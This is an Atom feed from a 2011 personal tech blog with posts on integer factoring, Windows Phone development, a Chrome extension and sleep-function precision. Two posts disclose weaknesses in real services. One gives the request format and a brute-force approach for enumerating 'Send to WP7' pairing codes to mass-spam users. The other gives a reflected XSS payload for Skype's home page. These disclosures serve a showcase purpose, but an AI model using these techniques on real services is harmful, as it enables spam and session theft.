<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8964007124326996693</id><updated>2011-12-30T01:45:33.265+01:00</updated><category term='mobile'/><category term='virtualization'/><category term='Visual Studio'/><category term='technology'/><category term='plug-ins'/><category term='obfuscation'/><category term='xaml'/><category term='cryptography'/><category term='chevronwp7'/><category term='javascript'/><category term='web'/><category term='3d'/><category term='domain names'/><category term='windows phone 7'/><category term='skype'/><category term='bloginto'/><category term='hacking'/><category term='Security'/><category term='chrome'/><category term='windows 7'/><category term='c#'/><category term='firefox'/><category term='reflector'/><category term='iphone'/><category term='expression studio 3'/><category term='augmented reality'/><category term='wp7'/><category term='css'/><category term='Samsung omnia 7'/><category term='browser'/><category term='tips'/><category term='corewar'/><category term='video'/><category term='email'/><category term='windows'/><category term='virtual machine'/><category term='.net'/><category term='openSUSE'/><category term='troiseSVN'/><category term='lesson'/><category term='cpu'/><category term='vb.net'/><category term='techdays'/><category term='safari'/><category term='class diagram'/><category term='facebook'/><category term='huffman'/><category term='google wave'/><category term='linq'/><category term='silverlight'/><category term='php'/><category term='programming'/><category term='tutorial'/><category term='Opera'/><category term='games'/><category term='F#'/><category term='algorithm'/><category term='themes'/><category term='vb'/><category term='gps'/><category term='linqtotwitter'/><category term='jquery'/><category term='Bing'/><category term='Virtual pc'/><category term='android'/><category term='blogger'/><category term='unix'/><category term='wpf'/><category term='Linux'/><category term='twitter'/><category term='languages'/><category term='beta sms'/><category term='functional programming'/><category term='visual studio 2010'/><category term='virus'/><category term='microsoft'/><category term='ocaml'/><category term='vigenere'/><category term='sql injections'/><category term='IE'/><category term='opera unite'/><category term='ubuntu'/><category term='XSS'/><category term='gmail'/><category term='svn'/><category term='google'/><title type='text'>&lt;Martani/&gt; Tech</title><subtitle type='html'>If the facts don't fit the theory, change the facts.
"Albert Einstein"</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://www.martani.net/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://www.martani.net/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default?start-index=101&amp;max-results=100'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>131</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-6734341120225685138</id><published>2011-12-21T01:31:00.000+01:00</published><updated>2011-12-21T01:41:17.127+01:00</updated><title type='text'>Factoring Integers: Part 1 - Pollard's rho Method</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;I'll be developing a program for factoring numbers (especially&amp;nbsp;RSA numbers), the goal is to have a parallel quadratic&amp;nbsp;sieve&amp;nbsp;program running on GPUs (using CUDA or OpenCL) to factorize RSA numbers.&lt;br /&gt;&lt;br /&gt;I have just started playing around &lt;a href="http://gmplib.org/" target="_blank"&gt;GMP&lt;/a&gt; so I implemented a naive version (in C) of the &lt;a href="http://en.wikipedia.org/wiki/Pollard's_rho_algorithm" target="_blank"&gt;Pollard's rho&lt;/a&gt; factoring method, it uses the &lt;a href="http://en.wikipedia.org/wiki/Pollard's_rho_algorithm#Variants" target="_blank"&gt;optimisation technique&lt;/a&gt; proposed by Pollard and Brent, however it doesn't check for cases that may cause the algorithm to fail.&lt;br /&gt;&lt;br /&gt;In order to compile this program, you need to have GMP installed.&lt;br /&gt;You can invoke the program with&amp;nbsp;&lt;i&gt;&lt;b&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;./pollard-rho&lt;/span&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt; NUMBER&lt;/span&gt;&lt;/b&gt;&lt;/i&gt; or&amp;nbsp;&lt;b&gt;&lt;i&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;./pollard-rho p q&lt;/span&gt; &lt;/i&gt;&lt;/b&gt;where the number to factorize is &lt;i&gt;&lt;b&gt;p*q&lt;/b&gt;&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;Compile :&amp;nbsp;&lt;i&gt;&lt;b&gt;gcc pollard-rho.c -o pollard-rho -lgmp -lm&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;script src="https://gist.github.com/1503934.js?file=pollard-rho.c"&gt;&lt;/script&gt;Results:&lt;br /&gt;&lt;script src="https://gist.github.com/1503951.js?file=gistfile1.sh"&gt;&lt;/script&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-6734341120225685138?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/6734341120225685138/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2011/12/factoring-integers-part-1-pollards-rho.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/6734341120225685138'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/6734341120225685138'/><link rel='alternate' type='text/html' href='http://www.martani.net/2011/12/factoring-integers-part-1-pollards-rho.html' title='Factoring Integers: Part 1 - Pollard&apos;s rho Method'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-1304674605421941930</id><published>2011-10-08T14:39:00.003+02:00</published><updated>2011-10-08T14:39:55.593+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows phone 7'/><category scheme='http://www.blogger.com/atom/ns#' term='wp7'/><title type='text'>Rolling Back a Project to Windows Phone OS 7.0 After an Upgrade to 7.1 (Mango)</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;If you had a project that was developed before the Mango SDK was available, or a project that was created with the Windows Phone 7.0 as the target platform and wanted to upgrade to 7.1, then there is no way to roll back to 7.0 again, which means that your app will be available only for those who have Mango updated devices.&lt;br /&gt;&lt;br /&gt;On creating a new Windows Phone project with the Mango 7.1 SDK tools installed, Visual Studio prompts you for the target platform:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-I_4RL8SwU-M/TpBCELp_jDI/AAAAAAAADCM/cWz6zKWryIU/s1600/os.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="188" src="http://4.bp.blogspot.com/-I_4RL8SwU-M/TpBCELp_jDI/AAAAAAAADCM/cWz6zKWryIU/s400/os.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;If for any reason, you want to upgrade the app to take advantage of the 7.1 SDK (use background agents, live tiles' animations etc..), you go to &lt;b&gt;&lt;i&gt;Project -&amp;gt; Project properties&lt;/i&gt;&lt;/b&gt; and set the target to OS7.1:&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-tWIfH4UeoKc/TpBCdWsOlqI/AAAAAAAADCQ/jzEfoI_6rlE/s1600/os2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="217" src="http://4.bp.blogspot.com/-tWIfH4UeoKc/TpBCdWsOlqI/AAAAAAAADCQ/jzEfoI_6rlE/s400/os2.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Once the Windows Phone OS7.1 version is selected, Visual Studio shows the following warning stating that once upgraded, the application cannot roll back to Windows Phone OS 7.0 anymore :&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-numLiIFV8hY/TpBCtNWet1I/AAAAAAAADCU/d846NKGeMY8/s1600/upgrade+warning.PNG" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="237" src="http://1.bp.blogspot.com/-numLiIFV8hY/TpBCtNWet1I/AAAAAAAADCU/d846NKGeMY8/s400/upgrade+warning.PNG" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;Because the referenced projects are not upgraded with the app, there is actually a way to roll back anyways, even if Visual Studio warns it is not possible.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;First in the &lt;b&gt;&lt;i&gt;WPAppManifest.xml&lt;/i&gt; &lt;/b&gt;you need to change the&amp;nbsp;&lt;i&gt;&lt;b&gt;AppPlatformVersion &lt;/b&gt;&lt;/i&gt;back to &lt;i&gt;&lt;b&gt;"7.0"&lt;/b&gt;&lt;/i&gt;. Then unload the project from Visual Studio and open your &lt;i&gt;&lt;b&gt;*.csproj&lt;/b&gt;&lt;/i&gt; with a text editor. Locate&amp;nbsp;&lt;i&gt;&lt;b&gt;&amp;lt;TargetFrameworkProfile&amp;gt;WindowsPhone71&amp;lt;/TargetFrameworkProfile&amp;gt;&lt;/b&gt;&lt;/i&gt; and change it to&amp;nbsp;&lt;i&gt;&lt;b&gt;&amp;lt;TargetFrameworkProfile&amp;gt;WindowsPhone&amp;lt;/TargetFrameworkProfile&amp;gt;&lt;/b&gt;&lt;/i&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Reload the project in Visual Studio, and voila, it's back to version 7.0.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Hope this helps.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-1304674605421941930?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/1304674605421941930/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2011/10/rolling-back-project-to-windows-phone.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/1304674605421941930'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/1304674605421941930'/><link rel='alternate' type='text/html' href='http://www.martani.net/2011/10/rolling-back-project-to-windows-phone.html' title='Rolling Back a Project to Windows Phone OS 7.0 After an Upgrade to 7.1 (Mango)'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-I_4RL8SwU-M/TpBCELp_jDI/AAAAAAAADCM/cWz6zKWryIU/s72-c/os.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-5881746151765117632</id><published>2011-09-23T22:53:00.001+02:00</published><updated>2011-09-23T22:54:12.724+02:00</updated><title type='text'>Bloginto 2.1 Now Available</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Bloginto 2.1 is available for download from the &lt;a href="https://chrome.google.com/webstore/detail/jppmcmbnmodlmgbfdddmeopgagancoak?hc=search&amp;amp;hcp=main"&gt;Google Chrome Web Store&lt;/a&gt;, the 2.1 version is a patch to the 2.0 version after the (abrupt) changes of Bloginy Algeria.&lt;br /&gt;&lt;br /&gt;Bloginto is a Chrome extension that brings Bloginy Algeria and Morocco feeds to the browser. With Bloginto you can:&lt;br /&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Read the live feeds of Bloginy Algeria and Morocco&lt;/li&gt;&lt;li&gt;Keep track of the new feeds and get notified whenever newer news are available&lt;/li&gt;&lt;li&gt;Keep track of the read and unread feed entries&lt;/li&gt;&lt;li&gt;Vote for the feed entries directly from the browser with 1 mouse click&lt;/li&gt;&lt;li&gt;Tweet directly through the extension&lt;/li&gt;&lt;/ul&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-OafXHLpK0Bg/Tnzxv4eBm5I/AAAAAAAAC7A/qlZ446Twi08/s1600/Untitled.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="http://2.bp.blogspot.com/-OafXHLpK0Bg/Tnzxv4eBm5I/AAAAAAAAC7A/qlZ446Twi08/s400/Untitled.png" width="285" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Bloginto is an open source extension, you can grab the source code from here&amp;nbsp;&lt;a href="https://github.com/martani/BlogInto-Chrome"&gt;https://github.com/martani/BlogInto-Chrome&lt;/a&gt;, you can suggest&amp;nbsp;amelioration&amp;nbsp;and patches too.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-5881746151765117632?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/5881746151765117632/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2011/09/bloginto-21-now-available.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/5881746151765117632'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/5881746151765117632'/><link rel='alternate' type='text/html' href='http://www.martani.net/2011/09/bloginto-21-now-available.html' title='Bloginto 2.1 Now Available'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-OafXHLpK0Bg/Tnzxv4eBm5I/AAAAAAAAC7A/qlZ446Twi08/s72-c/Untitled.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-3785103340686965362</id><published>2011-09-21T04:00:00.001+02:00</published><updated>2011-09-21T04:02:54.856+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><category scheme='http://www.blogger.com/atom/ns#' term='wp7'/><title type='text'>Mass Spamming WP7 Users by Taking Advantage of the Chrome to WP7 App</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Send to WP7 (previously Chrome to WP7) is an app on Windows Phone 7 that allows users to send text, web links, images etc. to their WP7 handsets directly from the browser. It resembles in it's purpose Google's Chrome to Phone utility, however, its security model is way poorer, and even insecure by default.&lt;br /&gt;&lt;br /&gt;While Google Chrome to Phone uses OAuth to authenticate users along with their Google accounts, Send to WP7 generates a 6 chars hex number which is calculated from a random GUID generated when the app is started for the first time. This code is then used by the&amp;nbsp;extension&amp;nbsp;to send data back to&amp;nbsp;&lt;i&gt;daveamenta.com&lt;/i&gt; server, waiting to be served when the WP7 client fetches the updates.&lt;br /&gt;&lt;br /&gt;Since there is absolutely no validation process on the server and the design of the app that makes it impossible to verify who is sending to who depending only on the randomly generated code, abusing this app is just like taking a walk on the shore.&lt;br /&gt;&lt;br /&gt;Sending data to a WP7 device is done by a POST request to&amp;nbsp;&lt;i&gt;&lt;a href="http://draft.blogger.com/#"&gt;http://www.daveamenta.com/wp7api/com.davux.ChromeToWindowsPhone/ &lt;/a&gt;&lt;/i&gt; with the random code of the user as the only piece identifying him.&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;b&gt;Request URL&lt;/b&gt;: http://www.daveamenta.com/wp7api/com.davux.ChromeToWindowsPhone/&lt;br /&gt; &lt;b&gt;Request Method&lt;/b&gt;: &amp;nbsp;POST&lt;br /&gt; &lt;b&gt;Query String Parameters&lt;/b&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;b&gt;title&lt;/b&gt;: some title&lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;b&gt;url&lt;/b&gt;: http://martani.net&lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;b&gt;sel&lt;/b&gt;:&lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;b&gt;type&lt;/b&gt;: page&lt;br /&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;b&gt;passcode&lt;/b&gt;: ABCDEF&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;The server th&lt;/span&gt;&lt;span class="Apple-style-span" style="white-space: pre-wrap;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;en returns &lt;i&gt;"Client Not Found.  Check Pair Code."&lt;/i&gt; if the code used is not &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="white-space: pre-wrap;"&gt;associated&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="white-space: pre-wrap;"&gt; to any device, or &lt;i&gt;"OK - No notification"&lt;/i&gt; upon success. Using these information, we can run a large scale "&lt;i&gt;empty message&lt;/i&gt;" spamming to retrieve the valid codes associated to actual devices, or send a wave of spams directly without having to check for validity.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Theoretically, there are over 16777216 different available codes for a 6 char hex number, a naive method would be to iterate through all these and fetch the correct ones:&lt;br /&gt;&lt;br /&gt;&lt;script src="https://gist.github.com/1230963.js?file=gistfile1.cs"&gt;&lt;/script&gt;This above program would do -a very lengthy- sequential&amp;nbsp;probing&amp;nbsp;to check for all the codes that return &lt;i&gt;"OK"&lt;/i&gt; in the response and list them on the console.&lt;br /&gt;&lt;br /&gt;As you can see, you can send any message and even links to your apps on the WP7 Marketplace (which once clicked would open the Marketplace directly) to all the users of "Send to WP7", and of course retain their codes for future spamming eventually.&lt;br /&gt;&lt;br /&gt;On the other hand, it is not clear how the data users exchange with their devices is handled. Does it get archived in the server forever? Does a deletion from the WP7 client entail a deletion from the server etc. I believe users of this app should get answers of all these questions and of course must expect a minimum of security where only them could eventually send data to their phones.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;//I cannot be held responsible for any abusive use of information I present here, this post is&amp;nbsp;merely&amp;nbsp;a showcase of bad security design.&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-3785103340686965362?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/3785103340686965362/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2011/09/mass-spamming-wp7-users-by-taking.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/3785103340686965362'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/3785103340686965362'/><link rel='alternate' type='text/html' href='http://www.martani.net/2011/09/mass-spamming-wp7-users-by-taking.html' title='Mass Spamming WP7 Users by Taking Advantage of the Chrome to WP7 App'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-4057567530478946051</id><published>2011-08-03T15:59:00.004+02:00</published><updated>2011-08-11T14:12:03.348+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='skype'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Skype XSS Made Easy</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;I was so deprived of&amp;nbsp;caffeine&amp;nbsp;today so I couldn't do any work except erring in the dark sides of the internet till I got to the skype home page. Once there, the first thing I tried was of course some XSS injection, that's just a 'weby' thing, I can't help it.&lt;br /&gt;&lt;br /&gt;I was amused to see that after 3 characters, the skype home page started to show beatiful html code where it should not, a very good sign for an XSS injection.&lt;br /&gt;&lt;br /&gt;Here you go, on the home page, locate the "See how little it costs to call phones and mobiles with Skype" search box and type &lt;b style="font-style: italic;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;-"&amp;amp;gt;&lt;/span&gt; &lt;/b&gt;,&amp;nbsp;you should get something like this :&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-kT-xqmN99pg/TjlTlLMcEmI/AAAAAAAAC4c/Z9aBg1WYmAA/s1600/Screenshot-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="110" src="http://3.bp.blogspot.com/-kT-xqmN99pg/TjlTlLMcEmI/AAAAAAAAC4c/Z9aBg1WYmAA/s400/Screenshot-1.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Now type in your favorite XSS verse, I use &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;&amp;amp;lt; script &amp;amp;gt; alert(document.cookie) &amp;amp;lt; /script &amp;amp;gt;&lt;/b&gt;&lt;/span&gt;, Voilà! the result:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-Z-6ZHPZ6ku4/TjlTqSQqn7I/AAAAAAAAC4g/JFiIYQtMda8/s1600/Screenshot-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="281" src="http://1.bp.blogspot.com/-Z-6ZHPZ6ku4/TjlTqSQqn7I/AAAAAAAAC4g/JFiIYQtMda8/s400/Screenshot-2.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-4057567530478946051?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/4057567530478946051/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2011/08/skype-xss-made-easy.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/4057567530478946051'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/4057567530478946051'/><link rel='alternate' type='text/html' href='http://www.martani.net/2011/08/skype-xss-made-easy.html' title='Skype XSS Made Easy'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-kT-xqmN99pg/TjlTlLMcEmI/AAAAAAAAC4c/Z9aBg1WYmAA/s72-c/Screenshot-1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-8847016354574167671</id><published>2011-07-26T20:08:00.003+02:00</published><updated>2011-07-26T20:16:16.531+02:00</updated><title type='text'>nanosleep(), usleep() and sleep() Precision Tests</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Working on some Amazon EC2 benchmarks I run through few problems of having my processes to run with a high time precision where a more than 1ms shift between operations is not acceptable.&lt;br /&gt;&lt;br /&gt;My program accumulates work time and sleep time,&amp;nbsp;ideally, it would work for &lt;b&gt;&lt;i&gt;time t&lt;/i&gt;&lt;/b&gt;, sleeps for &lt;b&gt;&lt;i&gt;T - t microseconds&lt;/i&gt;&lt;/b&gt; and loop again. The problem is that in the sleep routine, a shift of few microseconds can be accumulated to become a shift of milliseconds after few loops.&lt;br /&gt;&lt;br /&gt;After investigating the problem a little, I did some tests on how precise are the sleep functions in C, here is the code I used to test &lt;i&gt;nanosleep()&lt;/i&gt;, &lt;i&gt;usleep()&lt;/i&gt; and &lt;i&gt;sleep()&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;&lt;script src="https://gist.github.com/1107330.js"&gt; &lt;/script&gt;&lt;br /&gt;&lt;br /&gt;Running these tests on my machine with Fedora 15 gives me these results :&lt;br /&gt;&lt;br /&gt;&lt;script src="https://gist.github.com/1107347.js"&gt; &lt;/script&gt;&lt;br /&gt;As you can see, there is always an overhead of 100µs to 180µs, a call to &lt;b&gt;&lt;i&gt;printf&lt;/i&gt;&lt;/b&gt; inside the function will take about 70&amp;nbsp;µs more to execute. The call to the function itself (the &lt;i&gt;nsleep&lt;/i&gt; function) takes at worst 1µs. With this accumulation of &amp;nbsp;microseconds, a program would get to a state where it is late by some milliseconds after a dozen of iterations and calls to these sleep functions.&lt;br /&gt;&lt;br /&gt;On the other side &lt;i&gt;gettimeofday()&lt;/i&gt; behaves pretty well considering precision, the&amp;nbsp;benchmark below&amp;nbsp;(found &lt;a href="http://stackoverflow.com/questions/6498972/faster-equivalent-of-gettimeofday/6499061#6499061"&gt;here&lt;/a&gt;) gives the following results:&lt;br /&gt;&lt;script src="https://gist.github.com/1107371.js"&gt; &lt;/script&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;$ ./gettimeofday_benchmark&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;50000000 cycles in 2315879542 ns = 46.317591 ns/cycle&lt;/span&gt;&lt;/blockquote&gt;Which is satisfying for its precision.&lt;br /&gt;&lt;br /&gt;A solution (that is not applicable in all cases) is to have a global program independent clock regarding to which the sleep period is adapted. For example instead of waiting &lt;b&gt;&lt;i&gt;T - t&lt;/i&gt;&lt;/b&gt; microseconds, one will use every second tick on the system as a landmark, and thus any microseconds lost in the last loop iteration are discarded in the next one since the wait time is not dependent on the time the loop has started.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-8847016354574167671?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/8847016354574167671/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2011/07/nanosleep-usleep-and-sleep-precision.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' 